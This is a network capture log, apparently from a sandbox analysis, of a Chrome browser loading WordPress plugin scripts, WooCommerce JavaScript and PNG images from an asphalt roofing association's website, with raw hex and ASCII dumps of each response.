2024-04-23 14:53:48 UTC	689	OUT	GET /wp-content/plugins/jquery-collapse-o-matic/js/collapse.js?ver=1.7.2 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:48 UTC	546	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:48 GMT Content-Type: text/javascript Content-Length: 19961 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:11:36 GMT ETag: "620031-4df9-6138f8b31b2b2" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:48 UTC	7646	IN	Data Raw: 2f 2a 21 0a 20 2a 20 43 6f 6c 6c 61 70 73 65 2d 4f 2d 4d 61 74 69 63 20 4a 61 76 61 53 63 74 69 70 74 20 76 31 2e 37 2e 30 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 70 6c 75 67 69 6e 6f 76 65 6e 2e 63 6f 6d 2f 70 6c 75 67 69 6e 73 2f 63 6f 6c 6c 61 70 73 65 2d 6f 2d 6d 61 74 69 63 2f 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 31 2c 20 54 77 69 6e 70 69 63 74 75 72 65 73 0a 20 2a 2f 0a 0a 66 75 6e 63 74 69 6f 6e 20 63 6f 6c 6c 61 70 73 65 5f 69 6e 69 74 28 29 20 7b 0a 09 2f 2f 66 6f 72 63 65 20 63 6f 6c 6c 61 70 73 65 0a 09 6a 51 75 65 72 79 28 27 2e 66 6f 72 63 65 5f 63 6f 6e 74 65 6e 74 5f 63 6f 6c 6c 61 70 73 65 27 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 69 6e 64 65 78 29 20 7b 0a 09 09 6a 51 75 65 72 79 28 74 68 69 73 29 2e 63 73 73 Data Ascii: /! Collapse-O-Matic JavaSctipt v1.7.0 * https://pluginoven.com/plugins/collapse-o-matic/ * * Copyright 2021, Twinpictures */function collapse_init() {//force collapsejQuery('.force_content_collapse').each(function(index) {jQuery(this).css
2024-04-23 14:53:48 UTC	8192	IN	Data Raw: 74 6f 72 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 69 6e 64 65 78 29 20 7b 0a 09 09 09 09 69 66 28 6a 51 75 65 72 79 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 63 6f 6c 6f 6d 61 74 2d 65 78 70 61 6e 64 2d 6f 6e 6c 79 27 29 20 26 26 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 68 61 73 43 6c 61 73 73 28 27 63 6f 6c 6f 6d 61 74 2d 63 6c 6f 73 65 27 29 29 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 3b 0a 09 09 09 09 7d 0a 09 09 09 09 2f 2f 64 65 61 6c 20 77 69 74 68 20 65 78 74 72 61 20 74 69 72 67 67 65 72 73 0a 09 09 09 09 76 61 72 20 70 72 65 5f 69 64 20 3d 20 69 64 2e 73 70 6c 69 74 28 27 2d 27 29 3b 0a 09 09 09 09 69 66 20 28 70 72 65 5f 69 64 5b 30 5d 2e 69 6e 64 65 78 4f 66 28 27 65 78 74 72 61 27 29 20 21 3d 20 27 2d 31 27 29 20 7b 0a 09 09 09 Data Ascii: tors.each(function(index) {if(jQuery(this).hasClass('colomat-expand-only') && jQuery(this).hasClass('colomat-close')){return;}//deal with extra tirggersvar pre_id = id.split('-');if (pre_id[0].indexOf('extra') != '-1') {
2024-04-23 14:53:48 UTC	4123	IN	Data Raw: 65 72 70 74 2d 22 2b 69 64 2c 20 22 23 73 77 61 70 65 78 63 65 72 70 74 2d 22 2b 69 64 29 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 65 78 74 65 72 6e 61 6c 20 74 72 69 67 67 65 72 73 0a 09 09 6a 51 75 65 72 79 28 27 5b 69 64 5e 3d 65 78 74 72 61 5d 5b 69 64 24 3d 27 2b 69 64 2b 27 5d 27 29 2e 65 61 63 68 28 20 66 75 6e 63 74 69 6f 6e 28 20 69 6e 64 65 78 20 29 7b 0a 09 09 09 69 66 28 6a 51 75 65 72 79 28 74 68 69 73 29 2e 64 61 74 61 28 27 73 77 61 70 74 69 74 6c 65 27 29 29 7b 0a 09 09 09 09 6f 6c 64 5f 73 77 61 70 5f 74 69 74 6c 65 20 3d 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 64 61 74 61 28 27 73 77 61 70 74 69 74 6c 65 27 29 3b 0a 09 09 09 09 6f 6c 64 5f 74 69 74 6c 65 20 3d 20 6a 51 75 65 72 79 28 74 68 69 73 29 2e 68 74 6d 6c 28 29 3b 0a 09 09 09 09 6a 51 Data Ascii: erpt-"+id, "#swapexcerpt-"+id);}//external triggersjQuery('[id^=extra][id$='+id+']').each( function( index ){if(jQuery(this).data('swaptitle')){old_swap_title = jQuery(this).data('swaptitle');old_title = jQuery(this).html();jQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49782	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:48 UTC	708	OUT	GET /wp-content/plugins/real-time-auto-find-and-replace/assets/js/rtafar.local.js?ver=1.5.8 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:48 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:48 GMT Content-Type: text/javascript Content-Length: 19 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:11:13 GMT ETag: "6021f7-13-6138f89cd9ff2" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:48 UTC	19	IN	Data Raw: 2f 2f 73 69 6c 65 6e 63 65 20 69 73 20 67 6f 6c 64 65 6e Data Ascii: //silence is golden

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.6	49784	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:48 UTC	692	OUT	GET /wp-content/plugins/floating-top-link/js/floating-top-link.js?ver=1.0.5 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:48 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:48 GMT Content-Type: text/javascript Content-Length: 382 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:51 GMT ETag: "662482-17e-5b419ed3e04c0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:48 UTC	382	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 7b 0a 20 20 20 20 76 61 72 20 74 6f 70 42 74 6e 20 3d 20 24 28 27 23 6a 73 2d 46 6c 6f 61 74 69 6e 67 54 6f 70 4c 69 6e 6b 27 29 3b 0a 20 20 20 20 74 6f 70 42 74 6e 2e 68 69 64 65 28 29 3b 0a 20 20 20 20 24 28 77 69 6e 64 6f 77 29 2e 73 63 72 6f 6c 6c 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 69 66 20 28 24 28 74 68 69 73 29 2e 73 63 72 6f 6c 6c 54 6f 70 28 29 20 3e 20 31 30 30 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 42 74 6e 2e 66 61 64 65 49 6e 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 6f 70 42 74 6e 2e 66 61 64 65 4f 75 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 29 3b 0a 20 20 20 Data Ascii: jQuery(function($){ var topBtn = $('#js-FloatingTopLink'); topBtn.hide(); $(window).scroll(function () { if ($(this).scrollTop() > 100) { topBtn.fadeIn(); } else { topBtn.fadeOut(); } });

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.6	49785	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:48 UTC	795	OUT	GET /media/2017/04/logo.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/custom_style.css?ver=3.3.8.1713804094 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:48 UTC	514	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:48 GMT Content-Type: image/png Content-Length: 3342 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 15 Dec 2021 09:22:34 GMT ETag: "6001a1-d0e-5d32bd8912a80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:48 UTC	3342	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f2 00 00 00 66 08 03 00 00 00 c6 41 3c c3 00 00 00 45 50 4c 54 45 47 70 4c e9 e8 e8 ab ac af c9 c6 c7 9f 9f a2 68 0d 05 d8 d7 d7 74 21 17 a7 a8 ac 05 05 05 96 57 51 b7 b8 ba 55 55 55 72 72 72 8c 8a 8a 16 16 16 31 31 31 ff ff ff 23 23 23 41 41 41 a8 74 6e c9 a8 a4 4b 10 0f e2 c4 38 94 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 0c 77 49 44 41 54 78 da ec 5b 09 63 a3 2a 10 96 43 8a e5 0c 34 ef ff ff d4 37 33 80 82 d1 36 ed 5e 4d 76 e9 6e 13 15 81 6f be b9 38 3a 4d ff ca bf f2 af fc 2b 6b 61 46 fd 6d 90 95 d6 46 fc 5d a8 8d d6 5a 6a cd ff 1e d8 8c eb 52 e4 5f c3 b6 a8 88 35 af b0 15 7b 7a bd 96 04 b7 71 ad a5 94 4f 0e 5b 35 82 79 fb 57 60 f3 e7 85 2d 64 d3 6a be 42 2f 3a 0e b0 c5 33 c2 66 7c d0 ea 15 Data Ascii: PNGIHDRfA<EPLTEGpLht!WQUUUrrr111###AAAtnK8tRNS@fwIDATx[c*C4736^Mvno8:M+kaFmF]ZjR_5{zqO[5yW`-djB/:3f\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.6	49786	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:48 UTC	817	OUT	GET /wp-content/themes/u-design/assets/images/misc-sprite-sheet.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/style.css?ver=3.3.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:48 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:48 GMT Content-Type: image/png Content-Length: 21128 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e02516-5288-5b419ed103e00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:48 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 06 23 08 06 00 00 00 4a d4 63 8f 00 00 52 4f 49 44 41 54 78 da ec dd 77 b8 15 d5 b9 3f f0 11 4b 8c 15 0b b1 d7 6b ec 2d 7a 2d 49 6c 11 83 d8 31 86 a8 51 ec 62 c3 ae 80 62 39 76 4d b0 03 82 0d 6c a8 d8 c0 de 10 51 ac 1c 01 01 a5 83 74 10 a5 88 22 08 b2 7e 6b 0d 7b 73 37 47 84 a3 e1 1c ce fd dd cf e7 79 5e 66 ef 99 35 73 9e e7 e5 9f ef b3 66 d6 ec 2c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e2 da b6 6d db be 32 fb 00 00 58 4a da b5 6b 17 62 f5 be fd f6 db 6b 2f 6a 1f 00 00 4b 37 b0 a5 9a d2 ba 75 eb 9d 7f 6e 1f 00 00 4b 3f b0 e5 75 cf 3d f7 9c b4 b0 7d 3a 05 00 50 43 02 5b ac 13 17 b6 4f a7 00 00 96 7e 60 9b 12 17 1b ec f4 73 fb 00 00 58 ba 81 ad 77 ac d5 17 Data Ascii: PNGIHDRl#JcROIDATxw?Kk-z-Il1Qbb9vMlQt"~k{s7Gy^f5sf,Xm2XJkbk/jK7unK?u=}:PC[O~`sXw
2024-04-23 14:53:49 UTC	8192	IN	Data Raw: 11 c2 52 9d 94 fd cf 2b 3e 76 5e cc d8 b2 42 a8 03 00 60 09 3a bf 12 21 ac f8 9c da ee 95 18 db 44 4b 01 00 96 ac 0b 2b 11 c2 1a 15 c6 ee 59 89 b1 97 69 29 00 c0 92 75 41 25 42 d8 c9 85 b1 7b 54 62 6c 33 2d 05 00 58 b2 1a 57 22 84 35 28 8c dd 26 33 c3 06 00 50 ed f6 ad 44 08 db ac 30 36 bd ba a3 e9 62 c6 9e a0 a5 00 00 4b 56 fa 55 83 93 17 11 c0 0e aa 30 7e 87 58 57 66 3f ff 6a 8f df 69 29 00 c0 92 b7 7c ac 3f c4 3a 25 9b 37 83 96 7e aa ea d8 58 5b fc cc f8 75 63 1d 96 cd 5b 61 9a c6 a7 95 a1 69 a6 ce 8f c0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 53 2c 1b ab 5e ac 53 62 ad 52 89 f1 eb c5 3a 3d d6 9e 5a 07 00 50 3d 7e 13 eb Data Ascii: R+>v^B`:!DK+Yi)uA%B{Tbl3-XW"5(&3PD06bKVU0~XWf?ji)\|?:%7~X[uc[aiPS,^SbR:=ZP=~
2024-04-23 14:53:49 UTC	5261	IN	Data Raw: c4 be 91 bb 11 49 f2 8f b9 0b 4f 64 b8 a7 71 b7 24 c9 d8 dc 8d 4a 92 51 f1 bf ed ff 01 00 00 00 00 da 85 0e f1 e5 3d 8a 3d 37 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 89 39 24 ac 4b 58 37 33 33 33 6b d1 a0 e8 ba a4 69 3a df cc cc cc 5a 36 e9 40 5b e8 16 7f f8 de 7a eb 2d 33 33 33 6b c1 a4 03 82 cd cc cc 4c b0 81 60 33 33 33 13 6c 08 36 33 33 33 c1 06 82 cd cc cc 4c b0 21 d8 cc cc cc 4c b0 21 d8 cc cc cc 04 1b 08 36 33 33 33 c1 86 60 33 33 33 13 6c 20 d8 cc cc cc 04 1b 82 4d b0 99 99 99 09 36 04 9b 99 99 99 60 03 c1 66 66 66 26 d8 10 6c 66 66 66 26 d8 10 6c 66 66 66 82 0d 04 9b 99 99 99 60 43 b0 99 99 99 09 36 Data Ascii: IOdq$JQ==7;@9$KX7333ki:Z6@[z-333kL`333l6333L!L!6333`333l M6`fff&lfff&lfff`C6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49787	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:48 UTC	821	OUT	GET /wp-content/themes/u-design/assets/images/repeat-x-sprite-sheet.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/wp-content/themes/u-design/assets/css/frontend/global/style.css?ver=3.3.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	514	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:48 GMT Content-Type: image/png Content-Length: 302 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:48 GMT ETag: "1e02526-12e-5b419ed103e00" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	302	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 14 00 00 03 60 08 04 00 00 00 86 db 80 cc 00 00 00 f5 49 44 41 54 78 da ed dc b1 4e c2 50 18 86 e1 ef 40 1b 75 31 d1 db 71 f1 a6 dc bc 57 2f 43 4d 69 8f 8b c0 02 c9 3f 90 50 e5 79 b6 c2 cb 29 e9 d0 9e 7f 80 64 fd da c7 6b 2d dc 54 57 14 0a 85 42 a1 50 28 14 0a 85 42 a1 50 28 14 0a 85 42 a1 50 28 14 0a 85 42 a1 50 28 14 fe e3 10 00 00 58 b1 d6 df 7f 77 f8 0f d9 66 c9 2e bb cc 49 b6 19 32 64 93 39 9f 59 5c 26 00 00 28 6d af e7 e2 f6 ba e5 71 ff 91 b4 f4 24 fd 70 9c b4 f4 fd 71 cb 78 5c fd 10 9d 7f 05 00 00 b8 91 e9 63 7a 4b 72 9f 31 53 be 4f cc 0a 77 19 33 e5 2b 69 79 3a 4c 1e a7 06 88 f3 ef 00 00 00 2b 1a 01 7a f1 ff 1f 87 ea f6 be 1c 96 7f 34 70 f9 53 5f 35 5c 6e f2 3b 5a f1 cf af e8 f2 58 d1 8d f4 Data Ascii: PNGIHDR`IDATxNP@u1qW/CMi?Py)dk-TWBP(BP(BP(BP(Xwf.I2d9Y\&(mq$pqx\czKr1SOw3+iy:L+z4pS_5\n;ZX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49789	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:48 UTC	708	OUT	GET /wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.7.0.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	545	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 1834 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:29:55 GMT ETag: "1d417e7-72a-5ebcb23cbcac0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	1834	IN	Data Raw: 2f 2a 21 0a 20 2a 20 4a 61 76 61 53 63 72 69 70 74 20 43 6f 6f 6b 69 65 20 76 32 2e 31 2e 34 0a 20 2a 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 73 2d 63 6f 6f 6b 69 65 2f 6a 73 2d 63 6f 6f 6b 69 65 0a 20 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 30 36 2c 20 32 30 31 35 20 4b 6c 61 75 73 20 48 61 72 74 6c 20 26 20 46 61 67 6e 65 72 20 42 72 61 63 6b 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6c 69 63 65 6e 73 65 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 2c 6f 2c 74 3d 21 31 3b 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 26 26 28 64 65 66 69 6e 65 28 65 29 2c 74 3d 21 30 29 2c 22 6f 62 6a 65 63 74 Data Ascii: /! JavaScript Cookie v2.1.4 * https://github.com/js-cookie/js-cookie * * Copyright 2006, 2015 Klaus Hartl & Fagner Brack * Released under the MIT license */!function(e){var n,o,t=!1;"function"==typeof define&&define.amd&&(define(e),t=!0),"object

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49790	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:49 UTC	700	OUT	GET /wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=7.0.0 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0
2024-04-23 14:53:49 UTC	544	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:49 GMT Content-Type: text/javascript Content-Length: 2139 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 24 Oct 2022 17:29:55 GMT ETag: "1d417cd-85b-5ebcb23cbcac0" Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:49 UTC	2139	IN	Data Raw: 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 73 29 7b 73 28 22 2e 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6f 72 64 65 72 69 6e 67 22 29 2e 6f 6e 28 22 63 68 61 6e 67 65 22 2c 22 73 65 6c 65 63 74 2e 6f 72 64 65 72 62 79 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 73 28 74 68 69 73 29 2e 63 6c 6f 73 65 73 74 28 22 66 6f 72 6d 22 29 2e 74 72 69 67 67 65 72 28 22 73 75 62 6d 69 74 22 29 7d 29 2c 73 28 22 69 6e 70 75 74 2e 71 74 79 3a 6e 6f 74 28 2e 70 72 6f 64 75 63 74 2d 71 75 61 6e 74 69 74 79 20 69 6e 70 75 74 2e 71 74 79 29 22 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 70 61 72 73 65 46 6c 6f 61 74 28 73 28 74 68 69 73 29 2e 61 74 74 72 28 22 6d 69 6e 22 29 29 3b 30 3c 3d 6f 26 26 70 61 72 73 65 46 6c 6f 61 74 28 73 28 74 68 69 73 Data Ascii: jQuery(function(s){s(".woocommerce-ordering").on("change","select.orderby",function(){s(this).closest("form").trigger("submit")}),s("input.qty:not(.product-quantity input.qty)").each(function(){var o=parseFloat(s(this).attr("min"));0<=o&&parseFloat(s(this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	49791	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

